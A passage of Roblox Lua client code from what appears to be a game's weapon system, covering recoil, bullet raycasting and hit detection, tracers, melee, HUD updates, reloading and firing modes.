RecoilSpring:accelerate(Vector3.new( math.rad(.25 * gvr * RecoilPower), math.rad(.25 * ghr * RecoilPower), math.rad(.25 * gdr)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower ),math.rad(.25 * ghr * RecoilPower ),math.rad(.25 * gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad( .25 * gvr * RecoilPower/ARR) , math.rad(.25 * ghr * RecoilPower/ARR), math.rad(.25 * gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad(.25 * gvr * RecoilPower/ARR ),math.rad(.25 * ghr * RecoilPower/ARR ),math.rad(.25 * gdr * RecoilPower/ARR ))
end
Thread:Wait(0.05)
cameraspring:accelerate(Vector3.new(-RecoilX, -RecoilY/2, 0))
else
cameraspring:accelerate(Vector3.new( RecoilX , RecoilY, RecoilZ ))
if not aimming then
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower), math.rad(ghr * RecoilPower), math.rad(gdr)))
recoilcf = recoilcf * CFrame.new(0,-0.05,.1) * CFrame.Angles( math.rad( gvr * RecoilPower ),math.rad( ghr * RecoilPower ),math.rad( gdr * RecoilPower ))
else
RecoilSpring:accelerate(Vector3.new( math.rad(gvr * RecoilPower/ARR) , math.rad(ghr * RecoilPower/ARR), math.rad(gdr/ ARR)))
recoilcf = recoilcf * CFrame.new(0,0,.1) * CFrame.Angles( math.rad( gvr * RecoilPower/ARR ),math.rad( ghr * RecoilPower/ARR ),math.rad( gdr * RecoilPower/ARR ))
end
end
end
function CheckForHumanoid(L_225_arg1)
local L_226_ = false
local L_227_ = nil
if L_225_arg1 then
if (L_225_arg1.Parent:FindFirstChildOfClass("Humanoid") or L_225_arg1.Parent.Parent:FindFirstChildOfClass("Humanoid")) then
L_226_ = true
if L_225_arg1.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent:FindFirstChildOfClass('Humanoid')
elseif L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid') then
L_227_ = L_225_arg1.Parent.Parent:FindFirstChildOfClass('Humanoid')
end
else
L_226_ = false
end
end
return L_226_, L_227_
end
function CastRay(Bullet, Origin)
if not Bullet then return; end;
local Bpos = Bullet.Position
local Bpos2 = cam.CFrame.Position
local recast = false
local TotalDistTraveled = 0
local Debounce = false
local raycastResult
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
while Bullet do
Run.Heartbeat:Wait()
if not Bullet.Parent then break; end;
Bpos = Bullet.Position
TotalDistTraveled = (Bullet.Position - Origin).Magnitude
if TotalDistTraveled > 7000 then
Bullet:Destroy()
Debounce = true
break
end
for _, plyr in pairs(game.Players:GetPlayers()) do
if Debounce or plyr == plr or not plyr.Character or not plyr.Character:FindFirstChild('Head') or (plyr.Character.Head.Position - Bpos).magnitude > 25 then continue; end;
Evt.Whizz:FireServer(plyr)
Evt.Suppression:FireServer(plyr,1,nil,nil)
Debounce = true
end
-- Set an origin and directional vector
raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams)
recast = false
if raycastResult then
local Hit2 = raycastResult.Instance
if Hit2 and Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') then
for _,players in pairs(game.Players:GetPlayers()) do
if players.Character then
for i, hats in pairs(players.Character:GetChildren()) do
if hats:IsA("Accessory") then
table.insert(Ignore_Model, hats)
end
end
end
end
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
recast = true
CastRay(Bullet, Origin)
break
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet, Origin)
break
end
if not recast then
Bullet:Destroy()
Debounce = true
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
TotalDistTraveled = (raycastResult.Position - Origin).Magnitude
if FoundHuman == true and VitimaHuman.Health > 0 and WeaponData then
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 1, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "Right Arm" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 2, WeaponData, ModTable, nil, nil, SKP_02)
elseif HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, TotalDistTraveled, 3, WeaponData, ModTable, nil, nil, SKP_02)
end
end
end
break
end
Bpos2 = Bpos
end
end
local Tracers = 0
function TracerCalculation()
if not WeaponData.Tracer and not WeaponData.BulletFlare then return false; end;
if WeaponData.RandomTracer.Enabled then
if math.random(1, 100) <= WeaponData.RandomTracer.Chance then return true; end;
return false;
end;
if Tracers >= WeaponData.TracerEveryXShots then
Tracers = 0;
return true;
end;
Tracers = Tracers + 1;
return false;
end;
function CreateBullet()
if WeaponData.IsLauncher then
for _, cPart in pairs(WeaponInHand:GetChildren()) do
if cPart.Name == "Warhead" then
cPart.Transparency = 1
end
end
end
local Bullet = Instance.new("Part",ACS_Workspace.Client)
Bullet.Name = plr.Name.."_Bullet"
Bullet.CanCollide = false
Bullet.Shape = Enum.PartType.Ball
Bullet.Transparency = 1
Bullet.Size = Vector3.new(1,1,1)
local Origin = WeaponInHand.Handle.Muzzle.WorldPosition
local Direction = WeaponInHand.Handle.Muzzle.WorldCFrame.LookVector + (WeaponInHand.Handle.Muzzle.WorldCFrame.UpVector * (((WeaponData.BulletDrop * WeaponData.CurrentZero/4)/WeaponData.MuzzleVelocity))/2)
local BulletCF = CFrame.new(Origin, Direction)
local WalkMul = WeaponData.WalkMult * ModTable.WalkMult
local BColor = Color3.fromRGB(255,255,255)
local balaspread
if aimming and WeaponData.Bullets <= 1 then
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction)),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / (10 * WeaponData.AimSpreadReduction))
)
else
balaspread = CFrame.Angles(
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10),
math.rad(RAND(-BSpread - (charspeed/1) * WalkMul, BSpread + (charspeed/1) * WalkMul) / 10)
)
end
Direction = balaspread * Direction
local Visivel = TracerCalculation()
if WeaponData.RainbowMode then
BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255))
else
BColor = WeaponData.TracerColor
end
if Visivel then
if gameRules.ReplicatedBullets then
Evt.ServerBullet:FireServer(Origin,Direction,WeaponData,ModTable)
end
if WeaponData.Tracer == true then
local At1 = Instance.new("Attachment")
At1.Name = "At1"
At1.Position = Vector3.new(-(.05),0,0)
At1.Parent = Bullet
local At2 = Instance.new("Attachment")
At2.Name = "At2"
At2.Position = Vector3.new((.05),0,0)
At2.Parent = Bullet
local Particles = Instance.new("Trail")
Particles.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.WidthScale = NumberSequence.new({
NumberSequenceKeypoint.new(0, 2, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Color = ColorSequence.new(BColor)
Particles.Texture = "rbxassetid://232918622"
Particles.TextureMode = Enum.TextureMode.Stretch
Particles.FaceCamera = true
Particles.LightEmission = 1
Particles.LightInfluence = 0
Particles.Lifetime = .25
Particles.Attachment0 = At1
Particles.Attachment1 = At2
Particles.Parent = Bullet
end
if WeaponData.BulletFlare == true then
local bg = Instance.new("BillboardGui", Bullet)
bg.Adornee = Bullet
bg.Enabled = false
local flashsize = math.random(275, 375)/10
bg.Size = UDim2.new(flashsize, 0, flashsize, 0)
bg.LightInfluence = 0
local flash = Instance.new("ImageLabel", bg)
flash.BackgroundTransparency = 1
flash.Size = UDim2.new(1, 0, 1, 0)
flash.Position = UDim2.new(0, 0, 0, 0)
flash.Image = "http://www.roblox.com/asset/?id=1047066405"
flash.ImageTransparency = math.random(2, 5)/15
flash.ImageColor3 = BColor
spawn(function()
wait(.1)
if not Bullet:FindFirstChild("BillboardGui") then return; end;
Bullet.BillboardGui.Enabled = true
end)
end
end
local BulletMass = Bullet:GetMass()
local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0)
local BF = Instance.new("BodyForce",Bullet)
Bullet.CFrame = BulletCF
Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity)
BF.Force = Force
game.Debris:AddItem(Bullet, 5)
CastRay(Bullet, Origin)
end
function meleeCast()
local recast
-- Set an origin and directional vector
local rayOrigin = cam.CFrame.Position
local rayDirection = cam.CFrame.LookVector * WeaponData.BladeRange
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
local raycastResult = workspace:Raycast(rayOrigin, rayDirection, raycastParams)
if raycastResult then
local Hit2 = raycastResult.Instance
--Check if it's a hat or accessory
if Hit2 and Hit2.Parent:IsA('Accessory') then
for _,players in pairs(game.Players:GetPlayers()) do
if not players.Character then continue; end;
for i, hats in pairs(players.Character:GetChildren()) do
if not hats:IsA("Accessory") then continue; end;
table.insert(Ignore_Model, hats)
end
end
return meleeCast()
end
if Hit2 and Hit2.Name == "Ignorable" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
if Hit2 and Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2" then
table.insert(Ignore_Model, Hit2.Parent)
return meleeCast()
end
if Hit2 and (Hit2.Transparency >= 1 or Hit2.CanCollide == false) and Hit2.Name ~= 'Head' and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
return meleeCast()
end
end
if not raycastResult then return; end;
local FoundHuman,VitimaHuman = CheckForHumanoid(raycastResult.Instance)
HitMod.HitEffect(Ignore_Model, raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
Evt.HitEffect:FireServer(raycastResult.Position, raycastResult.Instance , raycastResult.Normal, raycastResult.Material, WeaponData)
local HitPart = raycastResult.Instance
if not FoundHuman or VitimaHuman.Health <= 0 then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
if HitPart.Name == "Head" or HitPart.Parent.Name == "Top" or HitPart.Parent.Name == "Headset" or HitPart.Parent.Name == "Olho" or HitPart.Parent.Name == "Face" or HitPart.Parent.Name == "Numero" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 1, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Torso" or HitPart.Name == "UpperTorso" or HitPart.Name == "LowerTorso" or HitPart.Parent.Name == "Chest" or HitPart.Parent.Name == "Waist" or HitPart.Name == "RightUpperArm" or HitPart.Name == "RightLowerArm" or HitPart.Name == "RightHand" or HitPart.Name == "LeftUpperArm" or HitPart.Name == "LeftLowerArm" or HitPart.Name == "LeftHand" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 2, WeaponData, ModTable, nil, nil, SKP_02)
end)
elseif HitPart.Name == "Right Arm" or HitPart.Name == "Right Leg" or HitPart.Name == "Left Leg" or HitPart.Name == "Left Arm" or HitPart.Name == "RightUpperLeg" or HitPart.Name == "RightLowerLeg" or HitPart.Name == "RightFoot" or HitPart.Name == "LeftUpperLeg" or HitPart.Name == "LeftLowerLeg" or HitPart.Name == "LeftFoot" then
Thread:Spawn(function()
Evt.Damage:InvokeServer(WeaponTool, VitimaHuman, 0, 3, WeaponData, ModTable, nil, nil, SKP_02)
end)
end;
end;
function UpdateGui()
if not SE_GUI or not WeaponData then return; end;
local HUD = SE_GUI.GunHUD
HUD.NText.Text = WeaponData.gunName
HUD.BText.Text = WeaponData.BulletType
HUD.A.Visible = SafeMode
HUD.Att.Silencer.Visible = Suppressor
HUD.Att.Bipod.Visible = BipodAtt
HUD.Sens.Text = (Sens/100)
if WeaponData.Jammed then
HUD.B.BackgroundColor3 = Color3.fromRGB(255,0,0)
else
HUD.B.BackgroundColor3 = Color3.fromRGB(255,255,255)
end
if Ammo > 0 then
HUD.B.Visible = true
else
HUD.B.Visible = false
end
if WeaponData.ShootType == 1 then
HUD.FText.Text = "Semi"
elseif WeaponData.ShootType == 2 then
HUD.FText.Text = "Burst"
elseif WeaponData.ShootType == 3 then
HUD.FText.Text = "Auto"
elseif WeaponData.ShootType == 4 then
HUD.FText.Text = "Pump-Action"
elseif WeaponData.ShootType == 5 then
HUD.FText.Text = "Bolt-Action"
end
if WeaponData.EnableZeroing then
HUD.ZeText.Visible = true
HUD.ZeText.Text = WeaponData.CurrentZero .." m"
else
HUD.ZeText.Visible = false
end
if WeaponData.MagCount then
HUD.SAText.Text = math.ceil(StoredAmmo/WeaponData.Ammo)
HUD.Magazines.Visible = true
HUD.Bullets.Visible = false
else
HUD.SAText.Text = StoredAmmo
HUD.Magazines.Visible = false
HUD.Bullets.Visible = true
end
if LaserAtt then
HUD.Att.Laser.Visible = true
if LaserActive then
if IRmode then
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(0,255,0), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
end
else
TS:Create(HUD.Att.Laser, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Laser.Visible = false
end
if TorchAtt then
HUD.Att.Flash.Visible = true
if TorchActive then
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,255,255), ImageTransparency = .123}):Play()
else
TS:Create(HUD.Att.Flash, TweenInfo.new(.1,Enum.EasingStyle.Linear), {ImageColor3 = Color3.fromRGB(255,0,0), ImageTransparency = .5}):Play()
end
else
HUD.Att.Flash.Visible = false
end
if WeaponData.Type == "Grenade" then
SE_GUI.GrenadeForce.Visible = true
else
SE_GUI.GrenadeForce.Visible = false
end
end
function CheckMagFunction()
if aimming then
aimming = false
ADS(aimming)
end
if SE_GUI then
local HUD = SE_GUI.GunHUD
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0),{TextTransparency = 0,TextStrokeTransparency = 0.75}):Play()
if Ammo >= WeaponData.Ammo then
HUD.CMText.Text = "Full"
elseif Ammo > math.floor((WeaponData.Ammo)*.75) and Ammo < WeaponData.Ammo then
HUD.CMText.Text = "Nearly full"
elseif Ammo < math.floor((WeaponData.Ammo)*.75) and Ammo > math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Almost half"
elseif Ammo == math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Half"
elseif Ammo > math.ceil((WeaponData.Ammo)*.25) and Ammo < math.floor((WeaponData.Ammo)*.5) then
HUD.CMText.Text = "Less than half"
elseif Ammo < math.ceil((WeaponData.Ammo)*.25) and Ammo > 0 then
HUD.CMText.Text = "Almost empty"
elseif Ammo == 0 then
HUD.CMText.Text = "Empty"
end
delay(.25,function()
TS:Create(HUD.CMText,TweenInfo.new(.25,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,5),{TextTransparency = 1,TextStrokeTransparency = 1}):Play()
end)
end
mouse1down = false
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
MagCheckAnim()
RunCheck()
end
function Grenade()
if GRDebounce then return; end;
GRDebounce = true;
GrenadeReady()
repeat wait() until not CookGrenade;
TossGrenade()
end
function TossGrenade()
if not WeaponTool or not WeaponData or not GRDebounce then return; end;
local SKP_02 = SKP_01.."-"..plr.UserId
GrenadeThrow()
if not WeaponTool or not WeaponData then return; end;
Evt.Grenade:FireServer(WeaponTool,WeaponData,cam.CFrame,cam.CFrame.LookVector,Power,SKP_02)
unset()
end
function GrenadeMode()
if Power >= 150 then
Power = 100
SE_GUI.GrenadeForce.Text = "Mid Throw"
elseif Power >= 100 then
Power = 50
SE_GUI.GrenadeForce.Text = "Low Throw"
elseif Power >= 50 then
Power = 150
SE_GUI.GrenadeForce.Text = "High Throw"
end
end
function JamChance()
if not WeaponData or not WeaponData.CanBreak or WeaponData.Jammed or Ammo - 1 <= 0 then return; end;
local Jam = math.random(1000)
if Jam > 2 then return; end;
WeaponData.Jammed = true
WeaponInHand.Handle.Click:Play()
end
function Jammed()
if not WeaponData or WeaponData.Type ~= "Gun" or not WeaponData.Jammed then return; end;
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
JammedAnim()
WeaponData.Jammed = false
UpdateGui()
reloading = false
RunCheck()
end
function Reload()
if WeaponData.Type == "Gun" and StoredAmmo > 0 and (Ammo < WeaponData.Ammo or WeaponData.IncludeChamberedBullet and Ammo < WeaponData.Ammo + 1) then
mouse1down = false
reloading = true
SafeMode = false
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
UpdateGui()
if WeaponData.ShellInsert then
if Ammo > 0 then
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
else
TacticalReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
for i = 1,WeaponData.Ammo - Ammo do
if StoredAmmo > 0 and WeaponData and Ammo < WeaponData.Ammo then
if CancelReload then
break
end
ReloadAnim()
Ammo = Ammo + 1
StoredAmmo = StoredAmmo - 1
UpdateGui()
end
end
end
else
if Ammo > 0 then
ReloadAnim()
else
TacticalReloadAnim()
end
if WeaponData then
if (Ammo - (WeaponData.Ammo - StoredAmmo)) < 0 then
Ammo = Ammo + StoredAmmo
StoredAmmo = 0
elseif Ammo <= 0 then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
elseif Ammo > 0 and WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo) - 1
Ammo = WeaponData.Ammo + 1
elseif Ammo > 0 and not WeaponData.IncludeChamberedBullet then
StoredAmmo = StoredAmmo - (WeaponData.Ammo - Ammo)
Ammo = WeaponData.Ammo
end
end
end
if WeaponData.Type == "Gun" and WeaponData.IsLauncher then
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
end
CancelReload = false
reloading = false
RunCheck()
UpdateGui()
end
end
function GunFx()
-- Clone and play muzzle sound
local Muzzle = WeaponInHand.Handle.Muzzle
if WeaponData.ShootType > 3 then
canPump = true
end
if Suppressor then
local newSound = Muzzle.Supressor:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "Firing"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
else
local newSound = Muzzle.Fire:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "Firing"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
end
if Muzzle:FindFirstChild("Echo") then
local newSound = Muzzle.Echo:Clone()
newSound.PlaybackSpeed = newSound.PlaybackSpeed + math.random(-20,20) / 1000
newSound.Parent = Muzzle
newSound.Name = "FireEcho"
newSound:Play()
newSound.PlayOnRemove = true
newSound:Destroy()
end
if WeaponData.FlashChance and math.random(1,10) <= WeaponData.FlashChance and not FlashHider then
if Muzzle:FindFirstChild("FlashFX") then
Muzzle["FlashFX"].Enabled = true
delay(0.1,function()
if Muzzle:FindFirstChild("FlashFX") then
Muzzle["FlashFX"].Enabled = false
end
end)
end
WeaponInHand.Handle.Muzzle["FlashFX[Flash]"]:Emit(10)
end
WeaponInHand.Handle.Muzzle["Smoke"]:Emit(10)
if BSpread then
BSpread = math.min(WeaponData.MaxSpread * ModTable.MaxSpread, BSpread + WeaponData.AimInaccuracyStepAmount * ModTable.AimInaccuracyStepAmount)
RecoilPower = math.min(WeaponData.MaxRecoilPower * ModTable.MaxRecoilPower, RecoilPower + WeaponData.RecoilPowerStepAmount * ModTable.RecoilPowerStepAmount)
end
generateBullet = generateBullet + 1
LastSpreadUpdate = time()
if Ammo > 0 or not WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,true,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
elseif Ammo <= 0 and WeaponData.SlideLock then
TS:Create( WeaponInHand.Handle.Slide, TweenInfo.new(30/WeaponData.ShootRate,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0), {C0 = WeaponData.SlideEx:inverse() }):Play()
end
if WeaponData.ShootType < 4 then
WeaponInHand.Handle.Chamber.Smoke:Emit(10)
end
for _, effect in pairs(WeaponInHand.Handle.Chamber:GetChildren()) do
if effect.Name == "Shell" then
effect:Emit(1)
end
end
end
function ShellCheck()
if WeaponData.ShellEjectionMod and WeaponData.ShootType < 4 then
if Engine.AmmoModels:FindFirstChild(WeaponData.BulletType) then
CreateShell(WeaponData.BulletType,WeaponInHand.Handle.Chamber)
else
CreateShell("Default",WeaponInHand.Handle.Chamber)
end
end
end
function Shoot()
if WeaponData and WeaponData.Type == "Gun" and not shooting and not reloading then
if reloading or runKeyDown or SafeMode or CheckingMag then
mouse1down = false
return
end
if Ammo <= 0 or WeaponData.Jammed then
WeaponInHand.Handle.Click:Play()
mouse1down = false
return
end
mouse1down = true
delay(0, function()
if WeaponData and WeaponData.ShootType == 1 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
elseif WeaponData and WeaponData.ShootType == 2 then
for i = 1, WeaponData.BurstShot do
if shooting or Ammo <= 0 or mouse1down == false or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 3 then
while mouse1down do
if shooting or Ammo <= 0 or WeaponData.Jammed then
break
end
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
ShellCheck()
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
JamChance()
UpdateGui()
Thread:Spawn(Recoil)
wait(60/WeaponData.ShootRate)
shooting = false
end
elseif WeaponData and WeaponData.ShootType == 4 or WeaponData and WeaponData.ShootType == 5 then
shooting = true
Evt.Atirar:FireServer(WeaponTool,Suppressor,FlashHider)
for _ = 1, WeaponData.Bullets do
Thread:Spawn(CreateBullet)
end
Ammo = Ammo - 1
GunFx()
UpdateGui()
Thread:Spawn(Recoil)
PumpAnim()
RunCheck()
shooting = false
end
if WeaponData and WeaponData.Type == "Gun" and WeaponData.IsLauncher then
Evt.RepAmmo:FireServer(WeaponTool,Ammo,StoredAmmo,WeaponData.Jammed)
end
end)
elseif WeaponData and WeaponData.Type == "Melee" and not runKeyDown then
if not shooting then
shooting = true
meleeCast()
meleeAttack()
RunCheck()
shooting = false
end
end
end
local L_150_ = {}
